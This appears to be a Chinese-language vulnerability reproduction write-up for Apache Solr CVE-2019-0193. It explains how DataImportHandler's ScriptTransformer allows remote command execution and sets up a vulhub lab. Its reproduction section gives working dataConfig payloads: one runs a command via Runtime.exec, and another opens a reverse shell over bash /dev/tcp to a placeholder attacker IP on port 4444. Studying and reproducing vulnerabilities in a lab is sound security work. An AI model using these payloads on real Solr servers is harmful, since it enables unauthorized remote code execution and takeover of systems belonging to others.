solr远程命令执行-CVE-2019-0193
Apache Solr 是一个开源的搜索服务器。Solr 使用 Java 语言开发,主要基于 HTTP 和 Apache Lucene 实现。此次漏洞出现在 Apache Solr 的 DataImportHandler,该模块是一个可选但常用的模块,用于从数据库和其他源中提取数据。它具有一个功能,其中所有的 DIH 配置都可以通过外部请求的dataConfig参数来设置。由于 DIH 配置可以包含脚本,因此攻击者可以通过构造危险的请求,从而造成远程命令执行。
影响范围
- Apache Solr < 8.2.0
环境搭建
使用 vulnhub 搭建
docker-compose up -d
# 创建 test core
docker-compose exec solr bash bin/solr create_core -c test -d example/example-DIH/solr/db
打开 8983 端口即可看到 Apache solr 的管理界面
前置知识
先了解下/solr/{core}/dataimport,该API的作用是将数据全量/增量导入到solr中,更详细解释在:
- https://cwiki.apache.org/confluence/display/solr/DataImportHandler#DataImportHandler-ScriptTransformer
- https://lucene.apache.org/solr/guide/6_6/uploading-structured-data-store-data-with-the-data-import-handler.html
其中ScriptTransformer可以编写自定义脚本,支持常见的脚本语言如Javascript、JRuby、Jython、Groovy和BeanShell;整个漏洞就是因为可以通过<script>
标签指定ScriptTransformer,而在这个标签内可以导入任意的java类,Solr也并没有对标签内容做限制,导致可以执行任意代码。
ScriptTransformer 容许用脚本语言如 Javascript、JRuby、Jython、Groovy 和 BeanShell 转换,函数应当以行(类型为
Map<String,Object>
)为参数,可以修改字段。脚本应当写在数据仓库配置文件顶级的 script 元素内,而转换器属性值为script:
函数名。
利用条件
- Apache Solr 的 DataImportHandler 启用了模块 DataImportHandler (默认情况下该模块不会被启用)
- Solr Admin UI 未开启鉴权认证。(默认情况下打开 web 界面无需任何认证)
漏洞复现
- 进入我们创建的 core 界面,选择 Dataimport 并且打开 Debug-Mode 模块
- 创建文件 payload
创建文件
<dataConfig>
<dataSource type="URLDataSource"/>
<script><![CDATA[
function poc(){ java.lang.Runtime.getRuntime().exec("touch /tmp/success");
}
]]></script>
<document>
<entity name="stackoverflow"
url="https://stackoverflow.com/feeds/tag/solr"
processor="XPathEntityProcessor"
forEach="/feed"
transformer="script:poc" />
</document>
</dataConfig>
- 反弹 shell payload
反弹 shell,在网上流传着硬编码后的 payload ,我测试了是没法反弹 shell 的,可能是因为版本差异吧。
<dataConfig>
<dataSource type="URLDataSource"/>
<script><![CDATA[
java.lang.Runtime.getRuntime().exec("/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/xxx.xxx.xxx.xxx/4444 0>&1");
]]></script>
<document>
<entity name="a"
url="https://stackoverflow.com/feeds/tag/solr"
processor="XPathEntityProcessor"
forEach="/feed"
transformer="script:" />
</document>
</dataConfig>
参考:
https://mp.weixin.qq.com/s/typLOXZCev_9WH_Ux0s6oA
https://anemone.top/vulnresearch-Solr_DataImportHandler_RCE/
https://mp.weixin.qq.com/s/typLOXZCev_9WH_Ux0s6oA
https://mp.weixin.qq.com/s/diF7HOf3wuSjBeoIb7qLCA